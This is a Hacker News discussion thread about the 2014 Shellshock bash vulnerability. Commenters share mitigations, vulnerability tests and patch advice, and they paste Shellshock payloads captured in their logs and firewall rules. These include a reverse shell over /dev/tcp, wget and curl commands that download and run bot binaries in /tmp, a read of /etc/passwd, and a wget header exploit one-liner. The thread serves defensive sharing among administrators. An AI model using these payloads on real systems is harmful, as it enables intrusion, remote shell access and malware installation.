  A webserver doesn't have to interact with bash directly or otherwise for a system to be vulnerable to this bug. Here's one scenario: 1. A webserver may set environment variables passed to it from a URL perhaps. 2. Malicious users could craft a URL that set environment variables containing bash commands that do nefarious things. 3. The next time bash is launched (either by a human or programmatically) those nefarious commands are executed perhaps with root privileges.
milankragujevic 12y ago
Here is a simple tool that you can use to check if your website is vulnerable: http://milankragujevic.com/projects/shellshock/ http://milankragujevic.com/projects/shellshock/
Glyptodon 12y ago
http://jaxbot.me/articles/cases-where-bash-shellshock-is-safe-09-25-2014 http://jaxbot.me/articles/cases-where-bash-shellshock-is-saf... Nginx + fpm not vulnerable?
thyrsus 12y ago
Is there a way of preventing functions from being imported from the environment, but still allowing some variables in? My experiments with #!/usr/bin/env -i sh and #!/usr/bin/env - sh ...have not obtained what I'm after. The problem being that functions take precedence over names in the file system, so bash-4.2$ env '/bin/cp=() { echo oops;}' /bin/sh -c '/bin/cp /tmp/foo /tmp/bar' oops
- AgentME 12y ago
  If an attacker can fully control the name of an injected environment variable, then you've lost already. The attacker can override LD_PRELOAD, which is an environment variable honored by the Linux kernel itself.
  - thyrsus 12y ago
    LD_PRELOAD is not honored for setuid executables, but you're right, we don't want to go there.
arielby 12y ago
ISC DHCP Client has a check_option_values function (at the end of dhclient.c), which (if it is properly used, I don't understand the surrounding code enough) should prevent this from being exploited.
arielby 12y ago
ISC DHCP Client has a check_option_values function (at the end of dhclient.c), which (if it is properly used, I don't understand the surrounding code enough) should prevent this from being exploited.
Animats 12y ago
If you're running Apache on Linux/UNIX, and don't absolutely need CGI, it's straightforward to turn it off in Apache. Put a "#" in front of LoadModule cgi_module modules/mod_cgi.so in /etc/httpd/conf/httpd.conf. This prevents the code that runs CGI scripts from even being loaded with Apache, and will totally disable all CGI scripts. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around. This will break CPanel, but not non-CGI admin tools such as Webmin. I can't say anything about PHP; we don't use it. People are out there probing. This is from an Apache server log today from a dedicated server I run. 89.207.135.125 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" The source is on "i3d.net", which is a hosting service in Rotterdam NL. So someone is running probes from something bigger than a desktop. I sent their support people a note.
Animats 12y ago
A question worth asking: how long has this been exploited? If you have years of Apache logs, go back through them with "grep" and look for attempts to exploit this vulnerability. Report the earliest date on which you find a hit. Thanks.
- tlrobinson 12y ago
  It would be really nice if log aggregation services (Splunk, Loggly, Papertrail, etc) would do this, notify affected customers, and publicly release anonymized information about it.
- phunge 12y ago
  Default apache log doesn't show the contents of HTTP headers I believe.
Rabidgremlin 12y ago
mmm, just checked a couple of servers and found suspect activity :( Also this test for vulnerability seems more accurate: x='() { :;}; echo vulnerable' bash
deleted 12y ago
[deleted]
diltonm 12y ago
Don't forget to update any Docker instances of OS's. My brother just challenged me and I'd assumed my Docker Ubuntu instances would be updated automatically by updating the main Ubuntu OS but that was not the case. In my defense I'm still new to Docker. I also used this to list my containers: docker ps -la -n=100 And removed them all, then listed images: docker images And removed them and then ran this to get the latest ubuntu installed from docker: docker run -i -t ubuntu /bin/bash Then when inside the container ran: env X="() { :;} ; echo busted" `which bash` -c "echo completed" The new docker image of ubuntu is still vulnerable. Edit: Updating the container then committing it (Docker terminology) should ensure that container stays updated, though any new runs creating new containers would continue to be vulnerable I suspect until Docker patches them or whomever would be responsible to do so.
xd 12y ago
There are a lot of comments below stating mod_php is just as vulnerable as mod_cgi. This is NOT the case, mod_php is unaffected by shellshock. Edit: Just to be clear, even using system / exec etc is not affected as the environment variables are not passed along to the sub process by the apache sapi.
anonxanon 12y ago
Thanks for posting this.
geeknik 12y ago
I've only seen 2 requests in my logs: access.log:89.207.135.125 - - [25/Sep/2014:06:28:08 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 447 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" access.log:202.38.120.248 - - [26/Sep/2014:13:38:10 +0000] "GET / HTTP/1.0" 200 473 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
exeit 12y ago
Trying anything against QNAP seems always to dump passwd file to /cgi-bin/dump
Ayaz 12y ago
I saw a couple of these hurled against my simple site: "() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\x22"

517 points by sjcsjc 12y ago

So if your server is set up with limited permissions for the apache-user, are you still at risk? I don't think the apache-user if properly restricted can write to directories, or even read most of the system files?

efdee 12y ago
Apache user can probably write to /tmp, and from there the attacker can construct a way into the system (bindshell, reverse shell). He can then start reading your PHP config files (db passwords) or try to use other vulnerabilities to escalate his privileges.
mrfusion 12y ago
Isn't it kind of a security best practice to assume your web user can be compromised and plan accordingly with permissions?
Timothee 12y ago
From the article, it sounds like the issue is not just with Apache but also ssh, DHCP and others. So I'd just assume you're still at risk regardless of your Apache user configuration. (in any case, it's safer to act as if)
sneak 12y ago
It can read your application source code, read your database credentials, access your database, and exfiltrate its contents. Yes, you are at risk.
acdha 12y ago
Things like that lower the risk: run everything as a low-privilege account (better, not even www-data but per-site), chroot()-ed, etc. and certain classes of attack will either fail or at least be easier to clean up. The problem with all of this is that it assumes that you don't have privilege escalation vulnerabilities on the local system, which is often not the case unless non-trivial effort has gone into hardening the server – e.g. all of that privilege separation is a waste if someone sledgehammer-ed a chmod 777 into a script rather than setting the appropriate ownership and permissions or someone delayed a kernel update because they didn't want the downtime and “knew” that only trusted code ran on that system.
drzaiusapelord 12y ago
It doesn't seem to have trouble writing to /tmp in a typical low access scenario. Seems to me, anything can write to /tmp. Default seems to be 777 on /tmp. I had someone exploit my Pydio install a few months ago with a litecoin miner. He managed to drop and run it in /tmp. He probably couldn't write and execute to too many other places.

jamroom 12y ago

From the article: "Of course one means of mitigating this particular attack vector is simply to disable any CGI functionality that makes calls to a shell" If you're on Ubuntu: a2dismod cgi service apache2 restart If you're NOT running any CGI scripts this will disable CGI support in Apache. Not sure if that takes care of things 100%, but might be helpful.

billadoid 12y ago
If you're on Ubuntu or Debian your CGI scripts will probably use dash, not bash.
- ansible 12y ago
  I've just our few Apache 2 systems that are Internet facing. Some of the site configs did have the standard Ubuntu CGI stanzas in them. However, the `/usr/lib/cgi-bin` directories were empty. All this has made me a bit nervous though. I certainly didn't change the system to use bash instead of dash.
- muyuu 12y ago
  Debian yes, Ubuntu's default is bash. So is Mint's.
  - jewel 12y ago
    On Ubuntu, /bin/sh is a symlink to dash. /bin/sh is what system() will invoke.
    - billadoid 12y ago
      init scripts will probably run from dash[1] [1] https://wiki.ubuntu.com/DashAsBinSh https://wiki.ubuntu.com/DashAsBinSh
    - muyuu 12y ago
      It is, however when you create a user its default shell is bash unless otherwise specified.

aembleton 12y ago

Excellent, a comprehensive write up on the issue. Exactly what I was looking for.

donatj 12y ago

So trying to understand the issue here, is this actually a bash thing or a problem with the web server forwarding commands to bash? I don't understand why bash would be listening to network traffic on its own.

rainforest 12y ago
The latter. Some daemons, like CGI scripts will spawn a shell populated with environment variables from the client. With a vulnerable bash, commands in these get executed.
- fennecfoxen 12y ago
  A little more accurately and pedantically: All HTTP servers invoking scripts over the Common Gateway Interface (CGI) put user-supplied input into environment variables as part of their invocation process, because that's what the CGI spec says to do. Many other daemons perform similar techniques to communicate with subprocesses that they spawn to do work. And when launching a new process, environment variables are (by default) copied from the parent process. The CGI script itself is neither a daemon nor responsible for populating the environment (merely for invoking system()). Also, most HTTP servers try to go out of their way to avoid invoking shells and instead invoke CGI scripts directly, saving on overhead. More broadly, if ANY process puts ANY client-supplied input into environment variables and subsequently that process or a subprocess happens to spawn a copy of bash by calling system(3), then you're in trouble.
deleted 12y ago
[deleted]
fiedzia 12y ago
Its a bash thing, or more specifically, the issue is with the fact that many (mostly old) web applications/web servers pass content from user straight to bash as environment variables, not expecting this to cause any problems.
- scott_s 12y ago

therealmarv 12y ago

Does anybody has steps what to do really as a sysadmin? Do I only need to install newest bash (on Linux systems) or do I also need to restart daemons like nginx/apache etc. ?

sp332 12y ago
The vulnerability only affects bash when it is parsing environment variables, when it is just starting. So if a process is already running, it's not vulnerable and you don't have to restart it. You should definitely apply the patch from Wednesday, but be aware there is a related vulnerability that has no patch yet. Add the configuration from this page https://access.redhat.com/solutions/1207723 https://access.redhat.com/solutions/1207723 to your Apache or nginx config to deny malicious HTTP requests.
- windsurfer 12y ago
  This isn't always true. Frequently sub-shells are started without people really knowing, like with backticks or parenthesis.
  - sp332 12y ago
    But the sub-shell that gets started will use the new binary, which will be safe.

philh 12y ago

Skimming this post, it appears to only reference CVE-2014-6271 and not CVE-2014-7169, so probably not 'everything you need to know'. (Searching for '=>' doesn't show anything, which I would expect it to if -7169 was mentioned.)

avz 12y ago
See https://news.ycombinator.com/item?id=8365158 https://news.ycombinator.com/item?id=8365158

ck2 12y ago

Keep an eye on the patches directory for whatever version you use: http://ftp.gnu.org/pub/gnu/bash/ http://ftp.gnu.org/pub/gnu/bash/ Just had to manually patch a CentOS4 legacy system. What I find interesting is the patch has been around since the 16th, what took so long and what finally lit a fire under the mainstream *nix releases?

embolalia 12y ago
>CentOS4 legacy system Jesus. That's been out of support for well over 2 years. I can't imagine this is the only problem it has. I'm curious: what's keeping the organization from upgrading it?
- Moru 12y ago
  Usually time and money.
  - noir_lord 12y ago
    That or it does something ridiculously specific with a rare feature that was removed and the people who built it have left. You find a lot of that type in education/local government.
- ck2 12y ago
  Well it was immune to heartbleed, lol (ancient openssl never had tls heartbeat feature) But Redhat actually still supports EL4 through their ELS program and releases patches for it until March 31, 2017 https://access.redhat.com/support/policy/updates/errata#th-rhel3-elp https://access.redhat.com/support/policy/updates/errata#th-r... CentOS simply decided not to keep up with it anymore, cannot blame them.
- billybofh 12y ago
  I've got to maintain a couple of RHEL4 servers that have simulation software running on them that has never been ported forward (education - the people who wrote it have long since left). Though we also still have a couple of DEC Alpha's kicking about attached to nanofabrication services. Fun times... Luckily I don't need to maintain all the win98 boxes we still have as well. Or the DOS ones. Variety is the spice of life, and all that...

EdSharkey 12y ago

This is why I don't run Apache on my servers. Too many crufty old plugins designed in the days of peace and love. Give me servers running under JVM that do the focused few things they do very, very well.

peterwwillis 12y ago

There's no way that this bug could affect even a fraction of the number of users Heartbleed did. The number of affected machines is probably 1/10000th that of heartbleed, and heartbleed exposed hundreds of millions of users, the SSL keys of servers, etc to attack. The fact that legacy CGI scripts are the only attack vector being discussed right now is proof enough of how outdated this bug is. Keep in mind that hackers constantly take advantage of old exploitable legacy software in servers around the world to get a shell, and nobody freaks out about it.

r1ch 12y ago
cPanel is probably the most popular reseller hosting software for shared web hosting and it relies on CGI in all kinds of places. That alone provides a huge amount of exploitable hosts - I tried to Shodan it (port 2082) but it seems down right now. Since cPanel is designed for people without system administration experience, it's unlikely they will be patched in a timely manner too. All the CGI scripts are in known static locations, so I wouldn't be surprised to see a worm that targets cPanel servers very soon. This is definitely not going to affect just a few legacy CGI sites.
- ck2 12y ago
  cPanel uses CentOS and does system upgrades ala yum update. Dunno if that is on by default or not though. But you aren't going to get into its cgi interface without login so that would have to be cracked first.
  - r1ch 12y ago
    Hmm, it's been a while since I last touched cPanel (almost 10 years), but I recall it automatically included aliases for cgi scripts into each vhost. Try /cgi-sys/guestbook.cgi on any cPanel website for example (a random Google example: https://www.vidahost.com/cgi-sys/guestbook.cgi https://www.vidahost.com/cgi-sys/guestbook.cgi)
  - pbhjpbhj 12y ago
    But it seems you only need one login to compromise the whole server. If I buy $3 hosting on a shared server then I can pwn the whole server can't I (using cPanel to escalate an attack above my privelege level)? What are the chances that one user account on a shared server is crackable, pretty high I'd imagine.

Igglyboo 12y ago

Can anyone explain what I should do on OSX? I've heard that replacing /bin/bash with a newer version of bash from homebrew or even zsh will work but is that going to break anything that assumes 3.2 bash??

DSingularity 12y ago
Are you running an HTTP or SSH server that faces the public? If so you need to update or take mitigation steps ASAP. If not you can wait until apple patches.
- petejansson 12y ago
  I'm reluctant to add to uncertainty, but I'm not sure these are the only concerns. Many Linux systems execute shell scripts via bash after acquiring a DCHP address, and would be vulnerable if someone took over the DHCP servers in, say, a co-working space, cafe or airport and maliciously configured them. I'm not 100% sure if Mac OS X (or iOS) use shell scripts for post-assignment configuration. The short answer is to be careful about wireless access you don't control until Apple issues a patch.
  - userbinator 12y ago
    Wait, what? I know DHCP clients have had exploits but those were of the more mundane buffer overflows/range checking type; there are DHCP clients implemented in bash? Something doesn't seem right about that - AFAIK DHCP data like IPs and so forth are binary, not text. Edit: just saw https://news.ycombinator.com/item?id=8367086 https://news.ycombinator.com/item?id=8367086 - may look into that a little more.
quarterto 12y ago
You can apply the patch to the OS X version of 3.2: http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-the-remote-exploit-cve-2014-6271-and-cve-2014-7/146851#146851 http://apple.stackexchange.com/questions/146849/how-do-i-rec...
12y ago

danso 12y ago

In another thread, I saw that this was an easy check to see if your bash was affected: env X="() { :;} ; echo busted" /bin/sh -c "echo stuff" If you get "busted" back, then you're affected...which is what I get with Mac OS X 10.9...however, when I try it on an Ubuntu server (14.x) that hasn't been patched in awhile...I don't get the error...Er, why is that? I thought this pretty much affected every bash since 25 years ago? (Someone else in this thread mentioned that Ubuntu uses dash...so...all modern Ubuntu servers are OK?)

spacehunt 12y ago
Debian-based systems use dash instead of bash for /bin/sh. But if you have scripts that explicitly use bash, you are still at risk.
- djengineerllc 12y ago
  I tried this and it didn't work on my Ubuntu machine, it echoed "stuff". env X="() { :;} ; echo busted" /bin/sh -c "echo stuff" But then I tried this command and it echoed "vulnerable". env var='() { ignore this;}; echo vulnerable' bash -c /bin/true
lambda 12y ago
No, you are not OK. Replace "sh" in that command with "bash" and you should still see the issue. There is a lower likelihood that you'll see the issue, as anything which just uses sh (including the "system" function, and similar ones) will use dash indeed of Bash; but there will still be places where bash is called explicitly, including many shell scripts that depend on bash features, which are vulnerable.
muyuu 12y ago
AFAIK bash is the default terminal shell in all Ubuntus. So yeah, you're affected.
- bodyfour 12y ago
  The attack isn't against terminal shells. The biggest risk is against things that use the shell implicitly like system()/popen()/etc and they all use /bin/sh It's certainly possible to be at risk if, for instance, you had a CGI script that was specifically written in bash (i.e. starts with "#!/bin/bash") but that's a lot less likely. So definitely patch your Debian/Ubuntu/etc machines but do your Redhat-based ones (and other places where "/bin/sh --version" indicates that it's bash) first.

weavie 12y ago

I bet Microsoft are enjoying the fact that it is Linux that seems to have all the security vulnerabilities these days!

tomswartz07 12y ago
Heh, yeah- those two major failures certainly overshadow the hundreds of issues Win has. :)
- gokhan 12y ago
  Can you name those hundreds of issues discovered on Windows stack for, say, 2014? I'm on IIS and I really want to know if I'm missing something. MS had it's fair share of security flaws in the past but give them credit for their current state. You sound like people still talking about BSODs, while it's certainly a thing in the past.
  - freehunter 12y ago
    I get BSODs all the time on Windows 8.1 because of my video card drivers.
  - WorldWideWayne 12y ago
    Here is the list of security advisories for all Microsoft products and they even list some non-Microsoft products like Adobe Flash, etc: - https://technet.microsoft.com/en-us/library/security/dn631936.aspx https://technet.microsoft.com/en-us/library/security/dn63193... I don't know where to get the multitude of security advisories for Unix systems listed all in one spot, but here are some links for popular distros: - https://www.debian.org/security/ https://www.debian.org/security/ - http://www.ubuntu.com/usn/ http://www.ubuntu.com/usn/ - https://access.redhat.com/security/updates/active/ https://access.redhat.com/security/updates/active/ - http://www.slackware.com/security/list.php?l=slackware-security&y=2014 http://www.slackware.com/security/list.php?l=slackware-secur... Anyone know where to go in order to get the Unix vulns all in one list?
    - 12y ago

spilk 12y ago

I've seen a lot of talk regarding the impact on embedded devices, but how many of these actually run GNU Bash? I can't think of many embedded devices that don't use Busybox instead.

drzaiusapelord 12y ago
>I can't think of many embedded devices that don't use Busybox instead. What about all these shitty wireless routers out there? I think in the past they were QNX-based but they've long moved to being linux based. We know popular projects like dd-wrt and pfsense are probably okay (ash instead of bash), but what about the thousands of others? My own router is supplied by AT&T for its u-verse service. God knows what its running. Or all the NAS devices out there and load balancers, etc. I guess we'll find out when the whitehats are done scanning the entire internet for vulnerable hosts.
- spilk 12y ago
  I have a higher-end (albeit still consumer-level) ASUS wireless router that uses Busybox. I can't imagine that cheaper, lower-end models would be using full GNU bash instead.

jeletonskelly 12y ago

The only suitable logo for this vulnerability: http://img3.wikia.nocookie.net/__cb20080920183129/nintendo/en/images/3/33/BlueShell.jpg http://img3.wikia.nocookie.net/__cb20080920183129/nintendo/e...

GotAnyMegadeth 12y ago
I wonder which will cause a greater net suffering to mankind?

therealmarv 12y ago

When comparing security warning from RedHat https://access.redhat.com/solutions/1207723 https://access.redhat.com/solutions/1207723 vs Ubuntu http://www.ubuntu.com/usn/usn-2362-1/ http://www.ubuntu.com/usn/usn-2362-1/ the RedHat one wants you to run /sbin/ldconfig or reboot your machine. Why Ubuntu does not recommend this? They do ldconfig automatically?

vezzy-fnord 12y ago
Pretty sure it's run as a one-shot boot service on almost all distros.
AgentME 12y ago
The vulnerability only exists during the startup of a bash process. Updating bash is enough. Bash processes that are already running are past the point where they could be exploited. Future calls to bash will get the updated version. No services need to be restarted to apply the fix.

jgrahamc 12y ago

This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/file.mp3 -O ~/cgi-bin/file.mp3 () { :; }; /usr/bin/curl -A xxxx http://112.x.x.x:8011 () { :; }; /usr/bin/wget http://115.x.x.x/api/file.txt () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd () { :; }; /bin/bash -c "if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget 82.x.x.x:1234/v64 -O /tmp/.osock; else /usr/bin/wget 82.x.x.x:1234/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock & If you are one of our (paying) customers the rules to block this exploit are enabled automatically.

mkoryak 12y ago
and if I am not a paying customer, can I enable them manually?
- jgrahamc 12y ago
  No, the WAF is not included in the free plan.
  - TeMPOraL 12y ago
    Out of curiosity, have you considered enabling it temporarily for everyone with Shellshock rules enabled? Just a day or two, to give people time to fix this. Is it feasible with your infrastructure/the way WAF works (I never used one)? It could do a lot of good for people and be a great PR move at the same time.
    - jgrahamc 12y ago
      I'm going to bring it up internally, but don't hold your breath.

monort 12y ago

On Linux dhclient-script is written in bash. If it is vulnerable, then connecting to open wifi can be exploitable via rogue DHCP server.

wodow 12y ago

Is there a (low volume) mailing list that would have alerted me to both this and Heartbleed?

justincormack 12y ago
Your OS vendors security list.
- mbi 12y ago
  For Debian that would be debian-security-announce [1], I try to read every post from that list. 1: https://lists.debian.org/debian-security-announce/ https://lists.debian.org/debian-security-announce/
- wodow 12y ago
  Well, I mostly use Debian and Arch: Debian isn't low volume: https://lists.debian.org/debian-security-announce/2014/threads.html https://lists.debian.org/debian-security-announce/2014/threa... Arch isn't high volume enough(!) https://mailman.archlinux.org/pipermail/arch-security/ https://mailman.archlinux.org/pipermail/arch-security/ Arch recommends the oss-security list, which is all too high volume http://www.openwall.com/lists/oss-security/2014/09/ http://www.openwall.com/lists/oss-security/2014/09/
  - justincormack 12y ago
    I guess you want to filter eg the Debian list by the packages you have installed ideally. An API to the same info would be nice.
    - wodow 12y ago
      Or filter the NVD feeds from http://nvd.nist.gov/download.cfm http://nvd.nist.gov/download.cfm ?

diyorgasms 12y ago

You can tail your access.log and grep the expression "$?\s_\s$?\s{|cgi" to get an idea if someone is trying to exploit your webserver. The cgi part will return a lot of false positives, but if you cannot disable cgi, you might as well track it being requested.

bodyfour 12y ago
That will only find either clumsy exploit attempts or whitehat scans that are not trying to hide themselves. CGI sends most headers through to the script as environment variables (i.e. a Foobar: header will turn into $HTTP_FOOBAR) so at attacker can just pick a header name that isn't likely to be logged.

frankydp 12y ago

Is anyone able to get the echo test to pass after updating AWS bash?

gtCameron 12y ago
I updated a handful of machines running an Amazon Linux AMI this morning and they passed the standard echo test after sudo yum update

earlz 12y ago

Has anyone constructed this exploit as a simple `wget` command?

fiedzia 12y ago
wget --header='Referer: () { :;}; touch /tmp/vulnerable ' www.example.com
- bodyfour 12y ago
  Note that you'll typically want to supply the URL to a CGI script on the site, not just www.example.com. Don't think you're unaffected just because the top-level page of your site doesn't appear vulnerable.
- earlz 12y ago
  Is there some easy way of detecting a site you don't control is vulnerable without bringing it down?
  - nkurz 12y ago
    Yes, you can ask it to ping an address you control and record where the pings come from.

mrfusion 12y ago

I see how Apache passes request information through environment variables but I don't see how bash comes into play in typical CGI. Is anyone up for educating me? I see http request -> apache -> env variables -> php What am I missing?

diydsp 12y ago
I think I have the same question.. why is this called a "bash" bug? Is it not a webserver bug? Why does the webserver send data to bash through environment variables? Is there no better way to do it?
- pilif 12y ago
  That's how Unix works. Subprocesses by default inherit the parents environment. And the http headers end up there because the CGI spec says so
- pquerna 12y ago
  CGI is an interface first defined 1993, 21 years ago. No one thought setting user data in environment variables was a risky thing at the time. More modern interfaces between dynamic code and webservers, like even FastCGI or SCGI or dozens of others do not pass user data over Environment variables, and instead pass data in various protocols over a socket.
- Maken 12y ago
  If something, it's a bug in the CGI specification, since passing HTTP headers as environment variables is part of the standard.
  - mrfusion 12y ago
    Sort of I guess, but why does bash need to loop over all of the env variables and execute them? I don't think CGI had any reason to think that would ever happen? (I guess that's basically what it's doing?)
    - 12y ago

muyuu 12y ago

Either of these will typically show you your running terminal: ps -p $$ echo $0 (command name that was used to invoke the shell) Not reliable: echo $SHELL (preferred shell for the user, not necessarily what is running) Also note that you may want to remove/fix bash to make sure it doesn't get run by something else. A CGI script may run it despite you changing your default shell to something else.

txutxu 12y ago

With only static content (all logic implemented via cron). $ grep nginx /etc/passwd nginx:x:105:111:nginx user,,,:/nonexistent:/bin/false And the only other service listening in this machine is SSH, but it's limited by iptables only to my home IP. I think I'm safe. Now installing updates patches bash. Anyway, I've seen that syntax before (I'm talking of years here), on #bash in freenode. Simply nobody did apply this from a security view point in the channel...

Glan1984 12y ago

How about installing zsh and making that the default shell? Is that enough?

dylukes 12y ago
zsh is also vulnerable. (it's a bash derivative)
- brians 12y ago
  Can you show example code exploiting zsh? I haven't seen such, nor found such: » V='() { :; }; echo busted' zsh -c "echo hi" hi But: » V='() { :; }; echo busted' bash -c "echo hi" busted hi
- Glan1984 12y ago
  https://security.stackexchange.com/questions/68146/how-do-i-secure-apache-against-the-bash-shellshock-vulnerability https://security.stackexchange.com/questions/68146/how-do-i-...
- bodyfour 12y ago
  That's incorrect; it does not appear to have the "export function" feature that this bug relies on.

f- 12y ago

Since the post is relatively non-technical, I'd like to underscore that there are substantial concerns with the original and the followup patch, because with or without it, the underlying bash code parser is still exposed to the Internet. Nobody has posted an RCE vector that would be universally bad for the patched version, but several people have already identified "hmm, that's unexpected" types of global side effects when attacker-controlled strings are parsed as functions by bash. More is likely to come. As of today, based on our conversations on oss-security, there is a third, unofficial patch that takes a much saner approach of isolating exported functions in a distinct namespace: http://www.openwall.com/lists/oss-security/2014/09/25/13 http://www.openwall.com/lists/oss-security/2014/09/25/13 Especially in high-value or high-risk scenarios, you may want to give it a try. And if you're interested in the reasons why the original patch is problematic, check out: http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-b...

jtheory 12y ago
The idea of using bash to do anything with input coming from the internet is asking for trouble, really... It's just a flaw with how CGI works generally, and how PHP etc. encourage you to build webapps. It's the same principle as SQL-injection attacks (and the flaw is there for the same reason! It's the obvious quick solution to just query mysql with "select * from users where username = " . PARAMS['username'].... But this is far more dangerous -- injecting malicious SQL can reveal data, or break things. Injecting malicious bash commands can reconfigure your server to do whatever they like.
- nitrogen 12y ago
  The dangerous thing is that lots of things that look like a library call to the unwary developer actually call out to other processes (visible if you run strace). This vulnerability will not be limited to web servers, either, and there will likely be systems that escape or unescape parameters in ways that evade app firewall rules.
- nostrademons 12y ago
  I've worked with sysadmins that insisted that CGI be disabled for exactly this reason. If we wanted a dynamic website we needed to use mod_perl or mod_php (it was back in the early 2000s, Rails/Django/nginx hadn't yet been invented). It wasn't a perfect solution - both of them still had plenty of security vulnerabilities - but it cut down the attack surface significantly. Now I understand what all the security people who said "never use system(). Never, ever" meant.

nacnud 12y ago

Unless I've missed something, could some benevolent person use the bug to cause remote systems to run something like "sudo apt-get update && sudo apt-get install bash", to patch the vulnerability automatically? (it makes lots of assumptions, but surely it's better to have some patched systems as a result.)

hderms 12y ago
sudo requires a password to be entered by default, right? I would guess that for most setups this wouldn't be possible without some kind of privilege escalation as well (or if the webserver was running with root privileges).
- theGimp 12y ago
  You'd be surprised by the number of servers that don't ask for password when you try to use sudo. They just assume that the actual owner issued the command and go straight to issuing the command as root. (Caveat: typically it has to be a certain user) I'm ashamed to admit I used to think that was convenient. It makes systems infinitely more vulnerable in the event of an RCE bug.
  - pndmnm 12y ago
    Many systems still use passwordless sudo to permit certain users to run specific commands -- but now, if those commands are shell scripts run via bash, the users can execute arbitrary commands (this isn't an uncommon class of privilege escalation problem, though).
metaphorm 12y ago
and how would the "benign attacker" know the super user password that sudo will ask for? its not like this is a logged in ssh session.
- nacnud 12y ago
  Extremely good point, thank you. :)

drdaeman 12y ago

Had anyone suggested and/or implemented something like building a tiny wrapper for bash that would clean environment and then execve("/bin/bash.vulnerable", argv, cleaned_envp)?

sounds 12y ago
In the red hat links (already in the comments here) there is an LD_PRELOAD file which cleans the environment for _all_ your processes.
mzs 12y ago
$ /usr/bin/env - /usr/local/bin/bash -c set sh BASH=/usr/local/bin/bash ...

neuralk 12y ago

For Windows devs: remember that some tools and libraries come with bash (and some may not even tell you explicitly). For instance, msysgit has the vulnerability[1]: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test [1] from the comments on the blog in the OP

Globz 12y ago
okay after more tests on the latest version of win-bash I can confirm that it is vulnerable.
ni_nad 12y ago
Can confirm the same for Github for Windows (msysgit again), Chef for Windows (embedded bash) as well as Cygwin's bash

sequoia 12y ago

Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example): 1. Web server (apache) gets request to route to CGI script (PHP) 2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables, so PHP can access them 3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. is called to do something in the shell/on the system level. This spawns a new shell (which may be bash) 4. bash interprets the environment variables set by apache The rub lies in step 4: when bash interprets an environment variable called `HTTP_USER_AGENT` containing the value `() { :;}; /bin/ping -c 1 198.x.x.x` it "gets confused" & interprets that first part (before the second semicolon) as a function, then executes the second part as well Hopefully this answers the "how does the exploit get from the browser to bash?" Further question: "If I do not use exec/shell_exec/popen etc, am I still vulnerable (just by virtue of using mod_php)?" AFAICT No, but I am not really sure (I hope someone clears this up). Additional note about PHP: disabling all these passthru type functions has been recommended for years: http://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-phpini-disable-functions/ http://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-phpi...

bjackman 12y ago
Thanks. I'm still confused though: 1: Why does Bash "interpret" the environment variables' values? What is the expected result of setting a function definition as the value of an environment variable? In my worldview (which is clearly wrong) there is no reason for Bash to look at environment variables' values until they're evaluated. 2: This is probably besides the point: but since when is the empty string a valid function name? I can't get Bash to accept "() { :; }" (as opposed to "f() { :; }" as valid bash. Edit: see my self-reply for answers.
- deleted 12y ago
  [deleted]
- bjackman 12y ago
  Aha, I found answers here: http://seclists.org/oss-sec/2014/q3/650 http://seclists.org/oss-sec/2014/q3/650 Basically, Bash interprets environment variables at start up as a means for you to pass functions into subshells. Whenever an environment variable's value starts with "() {", it is interpreted as a function, which is named according to the environment variable's name. I guess even without the bug under discussion this feature is a theoretical security flaw. If you set your user agent to "() { ping your.domain.com}", a function named HTTP_USER_AGENT, which pinged your.domain.com would exist in any shellThe name of the function is passed as the Apache spawned. It's not hard to imagine a buggy script accidentally executing it.

idorosen 12y ago

For Mac OS X, until Apple releases a software update, I've applied the original CVE-2014-6271 (shellshock) patch and am going to apply the CVE-2014-7169 patch as well once it passes review. Repository and instructions to reproduce without trusting me are located here: https://github.com/ido/macosx-bash-92-shellshock-patched https://github.com/ido/macosx-bash-92-shellshock-patched

rsync 12y ago
why not simply chmod 0000 `which bash` ?
- Zancarius 12y ago
  The problem is that some utilities rely heavily on bashisms such that they're unlikely to work with dash or other POSIX-compliant sh-replacements. As an Arch user, just off the top of my head, I can think of yaourt (AUR helper) and apparently the shell script for invoking gradle as both reliant on such behavior. The latter may not affect everyone, and after running into just those two samples today, I can only imagine what else may be affected. The best solution I could think of as a work around is to install dash, replace the /bin/sh symlink pointing to dash, and then chown/chmod bash so that only those specific users who need to use it can use it. This isn't perfect, because it could still be affected by web services that run as users that would then have access to bash via their member group(s), or because a web service might rely on another application that itself requires specific bashisms in order to function. This is why abandoning correctness for convenience can be dangerous.
- sjy 12y ago
  This isn't really enough because /bin/sh is also a copy of bash (not a symlink).
idorosen 12y ago
I've updated this to the latest patch which covers CVE-2014-7169.

cyphunk 12y ago

I seem to remember somewhere on Show HN a service that lets one execute a command to populate an online pastebin. Something like: `cat | nc service.com 9199`. Now however I cannot find this service. Anyone know where?

Globz 12y ago

I tried the vuln on win-bash but nothing so far, it just doesn't give an error and doesn't echo out anything..

PeterWhittaker 12y ago

